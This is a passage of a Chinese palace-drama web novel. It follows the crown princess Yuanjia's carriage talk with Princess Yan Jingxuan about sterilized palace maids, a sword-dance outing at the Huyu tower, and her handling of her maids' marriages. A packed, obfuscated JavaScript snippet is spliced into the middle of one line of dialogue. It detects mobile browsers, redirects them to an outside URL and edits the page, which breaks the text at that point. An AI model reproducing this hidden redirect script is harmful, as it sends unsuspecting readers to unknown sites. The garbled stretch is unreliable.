也算是打过几次交道了,元嘉在燕景璇面前的拘束也少了许多,此刻坐在窄仄空间内,也不至于无话可说。 “叫你等久了。” 燕景璇笑盈盈道:“街上今日到处都是人,一窝蜂地全往灞陵亭跑。马车明明都要到太子府了,却还是在前面的巷口被堵了好一会儿。” 元嘉笑着摇头,“是我怕来迟了,所以才提前等在了侧门,与皇姊有什么关系……且,还有吴奉仪陪着说话呢。” 燕景璇掀开帷帘,从侧边的窗户往外望去,状似无意般开口:“是了,我方才过来,便见你二人聊得开心,也不知我这一来,有没有打扰到你们?” “吴奉仪随太子远行,路途艰辛,我不过是叮嘱她照顾好自己罢了,哪有什么打扰不打扰的。” 元嘉摩挲着置于膝上的幕篱,简单解释了一句。 “……此去少则三月,你就这么放心让她跟着?” 闻言,燕景璇又问了一句,转而看向元嘉的表情却多出几分难辨。 “太子既选了吴奉仪随行,想她也是个妥帖人,我又有什么不放心的?” 元嘉不答反问。 “我不与你兜圈子,”燕景璇唇角微扬,“东宫可还没有皇孙。你才嫁进来多久他便要领差出门,身边又只带了吴奉仪一个……她若是怀着身子回来,你怎么办?” 燕景璇这话问的直白且尖锐,元嘉却神色如常,更多添三分坦然,“吴奉仪是最早侍奉太子的人,却到现在都未有子息,她若真有这个福气,我也是替她高兴的。” 没有恩宠,又没有足够自己安然无虞的地位,若再没个依靠,来日的路才真是一眼望的到头了。 只是这几句话,便没必要在人前说出来了。元嘉垂下眼睑,默默将它们咽回肚子里。 可燕景璇听完,表情却多出几分难以言说的异样,看向元嘉的眼神亦是惊奇各半。 “……可是我哪里说的不对?” 元嘉眉头微蹙。 “你从前未在宫里呆过,不知道也是当然的……吴奉仪、小童她永远都不可能有孩子的。” 燕景璇的声音既轻且缓,语调更是不改的柔和,却仍似晴天霹雳般在元嘉耳畔炸响。 什么叫做不可能有孩子? 眼见元嘉因她的话而呆怔原地,燕景璇平白生出几分恻隐之心,叹了口气又解释道:“吴奉仪出自尚寝局,是被专门选在祁弟身边服侍内寝事的……这你应当知道吧?” 元嘉嗯了一声,心中却陡然生出几分战栗。 “宫里的规矩,凡于皇子少时侍奉在侧的宫女,皆得饮绝孕之汤药,以保血统纯清,亦免发生挟子邀宠、燕啄皇孙之事。” 顿了顿,燕景璇又道:“自然,这规矩是不近人情了些……可也是因为某朝某代发生过类似的事情,更险些酿成灭国大祸,这才防患未然。” 元嘉没有说话,可紧蹙的眉心,还有几乎绷成一条直线的嘴角,都在昭示着她心底对这番话的不赞同。 燕景璇哪里看不出元嘉的心思,可也只能叹着气道:“虽没有孩子,可似小童这样的宫女,待皇子大婚后,往往能得一个名分,比之前朝那些一辈子无名无分、老死深宫的宫女,也算是一个善终吧。” “可她们若不曾侍奉,只待归家之龄便可离宫。她们本可以夫妻和顺,儿女成群,又怎会──” 元嘉蓦地收了声,须臾又似不甘般别过脸去,眼中冷意愈浓。 这哪里是什么善终……不拘前朝此代,凡是受过皇族中人宠幸的宫女,此生都不得再出皇宫。燕景璇虽也说的不错,可谁都知道,后宫里没有孩子的女人是什么下场──被绞去头发,再强送去皇寺出家苦修,青灯古佛,用余生为大周的千秋万世祈福祝祷……这又能比前朝的宫女好到哪里去呢? “你如今的不平,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087752|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为还不习惯罢了,可身份使然,你必须要习惯。这是天家的恩典,将她们从奴仆之躯变作了贵人之体,有些东西便是一定要舍弃的……你当也明白。” 燕景璇笑意微敛,半算好意、半算告诫的提醒了几句,又很快为吴小童说起话来,“吴奉仪是个好的,从来也恭谨柔顺,就是人太老实,也过分恪守规矩了些。将来、将来……你只叫她安稳到老吧。” 隐隐有替吴小童打算的念头。 元嘉迟迟不曾开口,只学着燕景璇头先的模样,将视线投向窗外,好一阵才低声道:“……太子呢?” “太子也是因为这个原因,才让她随行的吗?” 闻言,燕景璇用一种理所当然的目光注视着元嘉,“祁弟一心期盼嫡子,又怎会在那之前让其他人再有身孕?” “……且,也不是祁弟一个人的意思。太子这个年纪还只两个女儿,宫里的人,父皇也好,母后也罢,都很期盼你能生下东宫的第一个男孩儿。” “皇姊倒是高看我了,”元嘉轻笑一声,“太子不过头一月来的多些,平日里常去的还是倪良娣处。” 这原是闺帷私事,元嘉此刻却毫不在意地说出了口。可与她料想的反应不同,燕景璇只定定瞧着元嘉,一句多的话也没说。 确实不必再说了,元嘉只回过头来细想方才的一番话,便知自己错的有多离谱……倪娉柔,不就是另一个吴小童吗? 元嘉藏在衣袖下的手指一点点蜷缩起来,两眼低垂只看着膝上的幕篱,好一会儿才重新抬头,“我未居宫闱,不知皇姊所说之事,一时失言,倒叫皇姊见笑了。” 语气已然如常。 “前几次见你,从来一副处之泰然的模样,怎的在这件事上,如此失态?” 燕景璇微微抬眼,目光与元嘉有一瞬间的相接,又很快移开,语调更是轻缓,像是只随口一提。 “……皇姊何必试探,”元嘉直勾勾地看向燕景璇,“我不过是唇亡齿寒罢了。皇姊长于藩地,成于宫闱,应该比我更能感同身受才是。” 前者并未因元嘉突然尖锐的话而不快,反倒叹了口气,“你年纪虽轻,看事倒也毒辣。” “皇姊猜猜,如今这上京城里,有多少人在暗地里盯着我的肚子不放?”元嘉的声音还是一贯的清亮悦耳,可接下来说出口的话却叫人不寒而栗,“我若生不出孩子,我若生出的孩子不是儿男,这太子妃的位子还能坐几年?又或者、还有几年活路?” 燕景璇下意识道:“有母后在,怎会叫你落到那般田地!” “昔年静云仙师,不就是因为无子而被旻帝下令,迫其上表辞位的吗?”元嘉笑容不改,“崔太后也很喜欢她,可到头来有什么改变?不过是在宫里修了座道观,让静云仙师不至于偏居冷宫自生自灭罢了。” 这是白纸黑字载于大周史书的人与事,燕景璇自然无从反驳。更何况,元嘉还隐去了许多后事未提──静云仙师在迁居道观后不久,便有传言说她已参悟大道,之后更于一场大火中自焚,尸骨无存……这才是她仙师二字的由来。 可究竟是真是假,到如今也不敢有人议论,只知道旻帝很快便立了自来宠爱,又为其生下一个皇子的贵妃。至于这位悟道而去的废后,留于青史的不过二三字眼,更遑论四时祭拜、生辰冥诞的供奉了。 “皇姊不要怪我说话难听,”元嘉仍是笑着,可那笑意却未透进眼底,“事关己身,不过是人之常情罢了。” “我早就说过,选你嫁给祁弟,是燕家对你不住……这句话,到今日仍是适用。”燕景璇摇头,“至于子嗣,我的确没办法许诺你什么,但看祁弟这段日子所为,却是对你颇为看重。船到桥头自然直,嫡子一事,只管顺其自然就好。” 元嘉不置可否,一时也不想再继续纠缠此事,只浅浅一颔首,又掀帘看向车外──与她一壁之隔的街市,人声鼎沸、车水马龙,是她曾视为寻常的人间烟火。 燕景璇却拧起了两弯细眉,少顷亦同元嘉一般掀了帘子── “郑华!” 不多时,一名身穿玄色箭袖、作侍卫打扮的年轻男子策马赶来,又与车驾并行,身躯微微弯下,等着燕景璇的吩咐。 “不去灞陵亭了,改道去胡玉楼!” 元嘉惊讶回头。 “再让几个人跟着吴奉仪的马车,看着她们和出城的队伍会合后,再回来复命!” 郑华应了一声,立刻便策着马向前而去。 “……不去为太子送行?” “原不过指着它让你出府罢了,今日在灞陵亭的人那么多,去了也只能远远看着,又有什么好送行的。”燕景璇斜睨一眼,“你眼下怕也无甚兴致去扮个无可挑剔的太子妃,索性我替你做决定,往别处寻个开心。” 元嘉又笑了,眼底的冷意也因这话褪去不少,“那便恭敬不如从命了。” 52. 胡玉楼 大周立朝百余年,至光熹帝时民风较前朝已开放不少。除本朝子民,尚有一众外族生民稽留各州各郡,或定居落户,或走货交易,百姓难识其族类,见之皆称胡人。 上京城里胡人聚集的地方很多,可最出名的,还要数胡玉楼。 胡玉楼上至舞姬歌伎,下至小厮侍女,无一不是胡人。可最让人称奇的却是,这样一个全是胡人的地方,掌柜的却是一位汉人娘子,据说极擅剑舞。 也因此,胡玉楼的舞姬人人皆会舞剑,胡姬们跳的胡旋舞虽也好看,可最为出名的,还是这一曲剑器舞。 燕景璇应当来过很多次了──马车行经胡玉楼时不见半分停留,而是绕去了拐角之后的另一处侧门。 踩着脚凳从马车上下来,元嘉本还想在进去前戴上幕篱,不料却被燕景璇直接拿走,又随意地掷在了车厢内的某个角落。 “早不是男女大防的时候了,戴这东西做甚?” 是了,这幕篱是昨夜燕景祁吩咐备下的,今晨梳洗时便已置于案几,所以自己出门时也下意识带了它走……她从前倒是不戴的。 元嘉这样想着,便也顺着燕景璇的话弃了幕篱,又偏过头低声朝红玉叮嘱了两句,这才往二楼走去。 燕景璇出外游玩时,最不喜欢身边跟一堆的人,此刻便也只拉着元嘉的手往楼上走。其他人早已习惯,留在一楼大堂自顾嬉耍,红玉几个也不好再继续跟随,无奈一并留下。 虽是白日,却也几乎坐满了人,或赏舞听曲,或斗酒行令,十足的热闹场面。可元嘉还是在这一通喧声中,一眼便看到了坐在靠窗一桌的穆瑶筝。燕景璇显然也瞧见人了,唇角一勾便往临窗的方向走去。 “穆娘子好雅兴,大白天的就在楼里看美人。” 想是顾忌身处人群之中,燕景璇倒也不曾唤穆瑶筝县主,只随意称了句娘子。 前者闻声抬头,一下子便笑咧开了嘴,“二位娘子也来胡玉楼看美人?” 燕景璇径自入座,元嘉却先朝穆瑶筝轻轻一点头,这才跟着坐下。 “……这位娘子是?” 穆瑶筝的身侧,坐了位手拿纨扇的姝丽女子。瞧着约莫三十许,上着黄色窄袖短衫,下着绿色曳地长裙,腰间垂着红色腰带和玉制小铃,肩披红帛,头梳高髻,端的是风情万种,仪态万千。 “妾身庄映秋,名姓中的映秋二字,取自‘寒色暮天映,秋声万籁俱’一句,胡玉楼掌柜,在此见过季娘子。” 那女子收了扇,莞尔一笑。 “……你知道我?” 元嘉先是吃惊,又见穆瑶筝在一旁朝她挤眉弄眼,当下了然。 庄映秋掩口一笑,,又将视线投向燕景璇,“许久不见贵主,贵主别来无恙乎?” 竟是与燕景璇相熟! 前者却被这话搅得直皱眉,“不就是有段日子没来吗,也值得你这样一口一句贵主的叫?” 庄映秋一下子便笑出声来,倒是与打扮截然相反的爽朗。元嘉坐在一旁瞧着,亦生出几分好奇来。前者自然也发现了,微微一笑便解释起来。 说来也简单。 穆瑶筝惯爱美人,胡玉楼又素来是胡姬美人聚集的地方,穆瑶筝自然来得勤快。楼里虽也接待女客,可到底是男人扎堆的多,似穆瑶筝这样三不五时地过来,一呆又是一整天的女子,实在少见。 来得多了,便也眼熟了,眼熟了,便也打交道的多了,庄映秋就这样与穆瑶筝熟络起来。 至于跟燕景璇么……倒更像是另一种意义上的因缘际会了。 当年燕景璇因徐家郎君在外置有别宅妇一事而和离,那闹得满城风雨的别宅妇正是胡玉楼里的一名卖唱胡女。 为着这事,燕景璇在流言最为喧嚣的时候,连着往胡玉楼去了一个月,每次来了便豪掷金珠让楼里的所有舞姬歌伎出来见客,且点名要那胡女服侍,又直到闭店时分才肯离开。按理说花钱买乐子也无不妥,偏燕景璇每次来的大张旗鼓,国朝公主的仪仗又哪里是那么简单的,每每一到便惹得其他客人不敢入内,连楼里的胡姬也多有离去。 不到半月,胡玉楼的生意便一落千丈。 这事发生时,正赶上庄映秋出京办事,直到回来后才知这一出因果,于是入公主府调停劝解,这才与燕景璇结识。 至于是如何劝解的,庄映秋并未细说,但看二人如今熟稔的样子,大抵是相谈甚欢罢。 “今日太子离京,全城的人都挤在灞陵亭看热闹,你们怎的不去?” 庄映秋轻轻摇着纨扇,又打趣了一句。 这话元嘉自然不好接,只抿着嘴笑笑不作声。 “填街塞巷的能看什么热闹,去了也是白去。”倒是燕景璇恣意道,“本想来你这寻个松快,那想白日里便这么多人,都快赶上外头的街市了。” “谁让我这儿的视野好呢。那些挤不去灞陵亭的,便全跑我这来了。”庄映秋捏着扇柄虚虚指了一下,“喏,我那三楼都还没修补好呢,他们便顾也不顾的往上头去了,真是白读了一肚子的学问。要我说,就该再挤出两个头破血流的,也好叫他们知道知道厉害。” 元嘉顺着扇柄望去,果见一群青衫在更上一层兴奋攒动,全然不见平日里端方君子的模样,当下笑弯了眉眼。 胡玉楼已然观者如云,可还有接连不断的人往里头来。元嘉眺望一番,临近的几个酒楼也都与胡玉楼之景相差无二,倒是难得一见的热闹! “这里的人太多了,人多口杂的,咱们还是去雅间说话吧。” 庄映秋四下看了看,又思及眼前几人的身份,干脆建议道。 三人自是答应。 庄映秋起身引路,行走间不时有其他坐席的客人上前叙话,前者竟也能一一指出来人名姓,甚至喜好,倒叫元嘉在一旁看得啧啧称奇。 庄映秋领着元嘉三人顺着廊道拐了几拐,走到一处僻静隔间后方才停下。 “这原是我给自个儿留的,地方也算不得大,就是图个清静,贵客们可不要嫌弃。” 庄映秋打趣一句,将门推开。 入目确与前者说的一致──内里虽小,五脏俱全。各式陈设和摆件亦是简单,却给人一种清雅脱俗之感。元嘉打眼望去,也不得不悦服于庄映秋的别致心思,当即随着人一同入内。 三人列席而坐。 “所以,你今日是特意来我这里看舞听曲的?” 远离了客人的视线,庄映秋显然也弛懈起来,稍许歪坐,手搭着凭几,将身子大半倒在后侧的软枕上,姿态悠闲地问了起来。 “是啊,”燕景璇竟也点头,“我这妹妹许久不曾出来玩耍,怕她憋闷,所以特意来你这寻欢取乐的。” 元嘉听见‘妹妹’二字,下意识偏头回望了一眼,只是亦被提起了兴致,便也干脆应声点头。 穆瑶筝一听,立刻抚掌笑道:“那感情好,楼里这两日正来了好些美人姊姊呢,我还在央着庄姊姊让我见见呢!” “你们倒也罢了,季娘子却也不去送上一送?” 庄映秋此话显然意有所指,但望向元嘉的眼神却毫无恶意,前者便也索性直言不讳。 “该送的在府里都已送了,我去不去的也无甚要紧,”元嘉面色如常,甚至带了一丝笑意,“本也是姊姊邀我一场,才得以偷闲一日,自然是要在外头好生玩玩的。” 庄映秋能在权贵云集的上京城里开店,还能经营得远近闻名,心窍自是旁人比不上的玲珑。如今听元嘉一答,便也抚掌一笑,“既如此,我也得拿出些看家本事才行,好叫几位娘子乘兴而归!” 说罢,自软垫起身,走到扶栏处微微往下探,口中呼道:“荆玉!阿翘!” 不多时,便见两名妙龄女郎徐徐上楼,身姿绰约,容颜姣丽,一人怀抱琵琶,一人手持双剑。 “她二人,一人名唤孙荆玉,是楼里司乐的行首,一人名唤沈阿翘,是司曲的行首,”庄映秋介绍道,“今日便请她二位作陪,我为三位娘子作一曲剑舞。” 都说胡玉楼掌柜的剑器舞是上京一绝,可元嘉却一直无缘得见。如今总算有机会亲观,前者自是意兴盎然,穆瑶筝更是欢呼出声。 庄映秋微微一笑,接过沈阿翘手上的双剑,随意起了个势便稳稳立住。 孙荆玉、沈阿翘两人跪坐一侧,一人轻拨琵琶,一人起调咏唱。 庄映秋姿态舒展地仰倒在地,振臂向上拟作雀鸟展翅之势,腕间的玉环随着动作的不断改变,发出或轻或重的脆响,好似雏鸟初啼,伴着孙荆玉的低声吟唱,竟出奇的和谐。 蓦地,沈阿翘的琵琶声变得闷沉起来,庄映秋的动作也随之改换。只见她腰腹微微用力,整个人便似被提线般轻巧立起,身侧坠着的玉铃铛也开始发出断断续续的脆响。 而随着庄映秋一点点起身,那隐于裙裳之下的双剑也逐渐显露出来。 足尖一勾,小腿微微使劲,那双剑便被带至上空,随着沈阿翘戛然而止的吟唱,被庄映秋稳稳接住又握于手中。 孙荆玉与沈阿翘对视一眼,指尖微动,原本幽婉的曲调开始变得急促,铮铮然似金戈铁马,沈阿翘也一改之前的江南韵调,扬声吟哦。 竟是一出武乐! 庄映秋的动作如同雀鸟般轻盈,腕间微动,便带出满室剑光。不似时下以比划定势为主的剑舞,庄映秋 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“这武乐,听着倒和《兰陵王入阵曲》有异曲同工之妙。” 燕景璇似乎对这些也有所涉猎,看罢目露赞赏之色,又很快问起其中的细节处来。 “娘子好耳力,这《剑器浑脱舞》的武乐部分,正是脱胎自《兰陵王入阵曲》。” 孙荆玉怀抱琵琶,又朝燕景璇笑着一点头。 “这《兰陵王入阵曲》本是军队武乐,意在歌颂兰陵王疆场杀敌的英姿。可谁知流入民间后,逐渐与柔舞相融,倒失了武乐的气势。” 庄映秋一边添茶,一边补充,“时下喜好舒雅婉约的柔舞,尤其在上京城内,武乐近乎绝迹。这几年我往各地探寻不同的健舞,又竭力寻找《兰陵王入阵曲》的残稿,亏得荆玉、阿翘相助,几经融通才有了今日这《剑器浑脱舞》。” 原只道此舞精妙,却不知还有这等过往,元嘉对庄映秋不免更钦佩了几分。 “都说胡玉楼里跳的剑舞,皆为姊姊一手教导,可我看楼里其他姊姊舞剑,却与今日所见之舞不尽相同,这是何缘故呢?” 穆瑶筝好奇道。 “似人者终难久长。若徒摹吾形,终困于吾影之下,但若寻己之魂,或可得他日长存。” 庄映秋微微一笑。 穆瑶筝眼珠一转,也不知听进去了多少,只低头翻出两枚雕花玉佩,又笑盈盈地递到孙、沈二人眼前,“今日有幸与两位姊姊一见,又听到了仙乐一般的曲子,实在是瑶筝的福气。这玉佩还请二位姊姊笑纳,便算是妹妹奉上的见面礼了!” 此话一出,在场众人皆笑出声来。 孙、沈二人自然也知道美人邸的典故,当下也不推却,只压着唇角的笑意抬手接过。 沈阿翘更是打趣道:“穆娘子来了这么多趟,怎的今日才想起要给我姊妹二人送玉?若没个说法,这玉咱们可是不要的!” 说罢轻巧一抛,又将玉佩扔回了穆瑶筝的怀里。 孙荆玉虽还握着,可尾指却勾着玉佩上的红绳来回把玩,一双凤眼转盼流光,只等着穆瑶筝再开口。若是说的不好,只怕也是要顷刻扔回去的。 美人蹙眉嗔怪,穆瑶筝又哪里招架得住,当下便告起饶来,“谁叫两位姊姊都是谪仙般的人物,每每我来,都只能远远看着,一次都没能近身说话……今日好不容易借庄姊姊的光把玉佩送了出去,姊姊们却还怪我送晚了,可真要冤死我了!” 众人又是大笑,燕景璇更是笑得歪了身子,靠在了庄映秋的身上。 沈阿翘将玉佩系在腰间,又伸出削葱般的指尖轻点了下穆瑶筝额头,“好个伶俐的妹妹,倒把我二人说得心生愧疚起来,便只好跳一支胡旋,与妹妹作这玉佩的回礼了。” 沈阿翘说罢,轻巧起身,绦带在空中旋出一个漂亮的弧度,“我疏于舞技,这胡旋舞只勉强拿的出手,客人们可不许嫌弃!” 孙荆玉从穆瑶筝手上拿回玉佩,一如沈阿翘般系在腰间,而后用手轻轻拍打了几下琵琶,朝沈阿翘一点头,便拨动起弦身来。庄映秋不知从哪里摸了个手鼓,亦跟着节奏击打出声。 沈阿翘足尖点着地面,随着急促的鼓点旋转翻飞,脚下却无一丝错乱。速度越快,转得越稳,整个人几乎要化作一道虚影,更瞧不出半点舞姿勉强的样子。 一开始,元嘉几个都还坐着,后来也不知是谁起的头,先是穆瑶筝围着沈阿翘转圈,后来又拉过元嘉一起摆动双臂,最后竟连燕景璇也未能幸免,被庄映秋带着加入了这场混乱当中。一群人你敬我一杯,我回你一盏,放歌纵酒直到月挂柳梢头。 53. 终弃留 第二日再醒来,元嘉果然头疼欲裂浑身难受,昨日玩闹得太高兴,酒也饮得过了头,宿醉尤甚荷风园那次。 “……盼春,”元嘉抚着额头,神色恹恹地看着铜镜里的自己,任由红珠在身后动作,“我昨夜是怎么回来的?” 元嘉最后的记忆,只停留在几人拿着酒盅乱舞的时候,再往后便全无印象了。 红珠听出元嘉语气中的倦怠,动作迅速地挽了个倭堕髻,又插了支玉兰花钗,便自觉退在一旁不作声了。 “是公主府的郑华侍卫护送女君您回来的,”盼春接过敛秋递来的参茶,又轻声道,“您也好,公主与县主也罢,从胡玉楼出来时,便已醉得不成样子了。郑侍卫先送了县主回府,又将您送回了太子府,最后才驾着马车回公主府。” 盼春说的仔细,可元嘉听罢,脑袋里还是一片空白。几番回忆无果,也只好无奈放弃。 什么叫今朝有酒今朝醉,她总算是体会到了……只是这滋味,也忒不美妙了些。 饮过参茶,又重新倚回榻上,元嘉的手仍是抚着额头没有放下,好一阵才重新开口,总算是有些气力了—— “红玉,我昨日嘱咐你的东西都买回来了吗?” “是,”红玉上前应了一声,“按您的吩咐,奴婢已去荣宝斋挑齐了四套白玉微雕,一一用匣子都装好了。” 本意是怕在胡玉楼耽搁得太久,所以才让红玉先去西市走上一遭,提前备下要带回府的物件。哪想昨日进了胡玉楼便再没有出来过,着红玉买的东西竟也真的用上了。 “拿来与我瞧瞧。” 红玉诶了一声,又请盼春、红珠几个帮手,须臾从柜子里取出几个纹样精美的匣子来。那匣子显然有些份量,几人拿在手里仍有些吃力,变换姿势后也只能抱在怀里,小心挪至案几旁置于其上,这才依次打开。 元嘉自榻上起身,一个个踱步看过去,匣内的微雕皆是一般大小,用的是上好的白玉,触手温凉,浑身上下无一丝杂色。 雕刻技艺更是出色,四套微雕便是四种风韵──其一为簪花仕女,纤毫毕现;其二为花鸟鱼图,栩栩如生;其三为山川河景,壮美异常;其四为上京市井,百态繁华。四者各有千秋,实在令人叹为观止。 她出门时还在犹豫应该带些什么回来才好──寻常的钗环首饰、裙衫布料一类,只怕早就看厌了,做工也未必有六尚局送来的精巧。一直到马车行经荣宝斋,才总算落定了主意。 “你选的很好,足见是费了心思的。” 元嘉赞了一句。 红玉微微垂首,并未因前者的夸赞而露出任何的得色,仍是恭敬道:“奴婢分内之事,自当尽心竭力。” “这事你办的出色,合该记你一功。”元嘉笑了笑,“一会儿还得让你再跑上一趟,和徐妈妈一起,把它们挨个送过去。” 红玉自然应承,可随即犯了难——说是‘挨个’,但其中能做文章的地方可太多了。两位良娣谁先谁后便是一个问题,更别提遭了太子厌弃的卫良媛,和虽有一女却居末等的徐奉仪了。 若是四个人分别送去,或许就没那么多的比较了。 可这话却是不好说的,红玉亦不敢自己决定,只能大着胆子一问,“不知这四套玉雕,该分别送往哪位娘子的院子呢?” “先去竹香馆,再去梨云院,然后去畅和馆,最后去徐奉仪处。” 元嘉不假思索,“让她们挑自己喜欢的。” 话虽如此,这几人的喜好却彼此分明,谁人选哪一个匣子,她大抵也猜得出来。 红玉听罢亦是分明,自也不再多言。只是其他几位倒还好说,却不想那卫良媛,庭院冷落了好几年了,眼瞅着余生无望,如今倒又被这一位太子妃给看上了,往后保不齐还有大造化。 红玉几番思绪回转,面上却丝毫不显,只朝元嘉一屈膝,后退几步便出了门去。不多时,进来几个梳着双垂髻的小宫女,又各自捧了匣子出去。徐妈妈和红玉就站在槛外,朝元嘉行了个万福,便带着人离开了。 眼看东西都送出去了,元嘉便又懒洋洋地缩了回去,蜷在榻上闭目养神。 燕景祁一走,整个太子府似乎都变得安静了许多。没了嘈杂的人声,窗外不时的蝉鸣便显得格外清晰。元嘉有些昏昏然,明明才起身不久,却又生了困意,此刻半阖着眼帘,似睡非睡。 哐当! 像是什么被打翻在地,一下子将元嘉从迷糊的状态中惊醒。再定睛一看,念夏正手足无措地呆站一旁,脚边是已经翻倒在地的铜盆,地上一滩水渍。 元嘉的头又开始疼起来了,看向念夏的视线也带着几分说不清道不明的情绪。 “女君……” 念夏怯生生道。 “我、我本想将这水倒了去,哪想到手上突然没了力气,一下子没稳住,这才、这才……好大一声响,倒把奴婢给吓了一跳!” 念夏撅着嘴,一开始还在解释,后来竟抱怨起来。可即便如此,也始终不曾将注意力投向脚下的狼藉半分,甚至害怕鞋底沾上水渍,而往一旁又挪了两步。 盼春闻声而进,来不及说话,便上前两步将铜盆拾起,慢一步进来的红珠更是拿过布帕,伏在地上将水渍抹干。 可一直到两人收拾妥当,再回到元嘉跟前伺候时,念夏都不曾移动分毫,脸上仍是余惊未定的表情。 元嘉沉默了一会儿,才开口道:“今日是你们哪个当值?” 念夏抿了抿嘴,上前一步,“……是奴婢。” 元嘉将视线从念夏鞋尖缀着的珍珠上挪开,又瞥了人一眼,“轮到你了?你不是被吓着了吗,那今日就放你休息,回自己屋子里歇着吧。” 盼春在一旁默默听着,心却一点点沉了下去,红珠更是眼皮一跳,瞬间明白了什么。只有念夏听得面露喜色,喜笑颜开地朝元嘉行礼告退,直到一只脚踏出门槛,才后知后觉般停下来,又带着些许的不确定回头道:“其、其实也无甚要紧,奴婢还是在您身边伺候吧?” 元嘉面色如常,甚至朝念夏挥了挥手,“去吧,这里还有盼春她们呢,哪里缺了你就不行了,休息去吧。” “那、那奴婢就在外屋休息,您若有吩咐,只管唤奴婢进来!” 虽是这样说,可念夏的脚步显然轻快起来,也不知真往外屋去了,还是仅仅是一个托词。 元嘉看着念夏雀跃的背影一点点消失在帘后,垂目沉吟不语,屋内亦是一片死寂。 红珠却在这时候显出些忸怩,她并不确定自己如今所想,是否就是元嘉正盘旋在脑子里的念头,可她是知道念夏早晚要被放出去的,也知道自己顶的就在念夏的差。但几月来同住一屋,再没有情分也养出三分感情了,她委实高兴不起来。 可眼下,屋内就只有她和盼春两个人,元嘉不出声,盼春便也安静等在一侧。红珠犹豫了好一会儿,还是寻了个由头想要借机离开,不想却被元嘉拒绝了。 顿了顿,元嘉正要说话,余光却瞥见帘外似有人影微动,当下蹙眉,一句话在喉间滚了又滚,终是咽了下去。 “我有个难题,还得你帮我参谋一二。” 元嘉朝红珠道。 前者立时醒神,垂手等候吩咐。 “说起来,与盼春也有些关系。”< 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虽是问句,可谁都知道,这已是板上钉钉、不容更改的事情了。 “念夏娘子二八年华,若能寻个贴心的郎婿,是再圆满不过的了。只眼下盼春娘子也要婚配,再让念夏娘子年底出府,难免匆忙了些,女君身边也不能离了服侍的人。” 到底顾念着和念夏同住一屋的短暂情谊,红珠还是替前者留了线转圜的余地,言语中甚至暗示盼春也一起说几句情。毕竟她们几个才是打小就跟在元嘉身边的,称得上一句朝夕相处,有盼春出声,或许能让念夏再走得晚些。 但出乎红珠意料,盼春并未顺着她的话开口挽留,反而道:“红珠娘子莫要玩笑了,我早跟女君明了心志,这辈子都不嫁人的。” 红珠仿若被当头棒喝一般,立时清醒。是了,由始至终,元嘉都没说过要将盼春许出去,是她自己先入为主,听到有人记挂盼春又二次求娶,才自以为是,误以为元嘉要放人出去婚配。 如今想来,那话未必不是元嘉察觉到念夏的存在而故意说的,可笑她自己被念夏的事情糊了眼睛,主子面前竟也能犯这样的错,还想拖着盼春替念夏求个恩典。好在前者并没有放在心上,说的话亦是婉转,倒免去了她的难堪。 元嘉见红珠面露窘态,心中暗叹了口气,但前者与念夏的关系倒比她原以为的要好。 “徐妈妈应当告诉过你,我属意你来顶念夏的差。” 红珠点了点头,可动作中依旧带了几分迟疑。 “我本想着循序渐进,可你刚才也看到了,念夏近来愈发失了规矩。”元嘉摇头叹息,“从前虽也有冒失的时候,却也不曾误过差事。可自打进了太子府,整个人都飘飘然起来,这段时间犯的错竟比她过去十几年都要多,我委实不能再留她了。” 红珠缄默不语,因为元嘉说的每一个字,都是在念夏身上发生过的,她确也无从辩驳。 “你大可放心,既要予她婚配,自然是要放免她做良民的,不会再让她为婢或是客女。便是她的郎婿,我也会好好挑捡,让她自己定,总归不叫她委屈。” 贴身服侍元嘉的几个人都知道红珠是顶替念夏的存在,只有念夏自己不知道,红珠因此事生出的负罪感,终于在元嘉一连串的许诺中消散,整个人瞧着轻松了不少。 “这事先不必叫她知道,你们心中有数就行。” 元嘉又道。 “……是。” 元嘉这才点头,又朝红珠道:“你先出去吧。” 这便是有事要和盼春说了。 红珠自是告退。 54. 不嫁女 “方才的话,虽是因为念夏躲在外头故意说的,可这事却是真的。那许家郎君到现在还对你挂心不忘,他老子娘这才托到徐妈妈跟前,求我给个准话。如今,我也拿这话来问你,你是个什么意思?” 元嘉看着盼春像只锯了嘴的葫芦般不发一言,无奈叹了口气,又道:“你不开口,我又怎么知道你的心思。便是不愿意,告诉我一声也就是了,我难道还会逆了你的意,绑你上花轿不成?” 盼春闻言,却是神色一敛,而后直挺挺地跪在元嘉跟前,梗着脖子道:“女君,她们几个我不知道,但奴婢这辈子是打定了主意不嫁人的!” 元嘉连忙将人拉起来,又扯到身边坐下,“若是旁人也就罢了,只那许家郎君人有本事,长的又俊,自己亦不曾入奴籍,是个撑得起门户的好男儿,还等了你这许多年……你真的不再考虑下?” “女君是知道我家那点子事的,我娘、我阿姊都死得凄惨,我不想步她们的后尘,再做个被丈夫打死的女人……许家郎君再好,奴婢也过不了心里这道坎。权当是奴婢怕了,不耽误他觅好姻缘了。” 盼春顿了顿,重新跪倒在地,又朝元嘉重重磕了个头,“女君、娘子,便当是奴婢辜负了他的一番心意,拂冬年纪还小,做姊姊的顾着她还来不及呢,实在不愿意去想嫁人的事情。若是娘子不嫌弃奴婢蠢笨,明日奴婢便将头发都束了去,这辈子安安心心地跟在您身边!” “好了好了,哪里就闹到要束头发的地步了!”元嘉连忙打断,“也罢,我明儿个就让徐妈妈去回了她。只拂冬现下年岁也大了,你总该多考虑下自己了。你是我屋子里的头一个,在我身边最是长久,我自是想你一生圆满顺遂。” 又看盼春一脸的坚持,终是道:“你就陪着我吧。只一句,若哪一天你改了心意,不许瞒我,找人过日子也好,出去自立门户做生意也罢,只要你自己过得舒心,都行,我都是依你的。” “谢娘子成全!” 盼春再叩首,语带哽咽。 “这下可愿意起身了?” 元嘉嗔了人一眼,故意道。 “诶!” 盼春破涕为笑,揩了揩眼泪,又回到元嘉身边坐下。 至于念夏,虽被盼春劝离了正屋,可也没往自己的屋子去,反而拐进了敛秋与拂冬的屋子。径自推开门,拂冬不知道跑哪儿去了,此刻屋子里只剩敛秋一个。 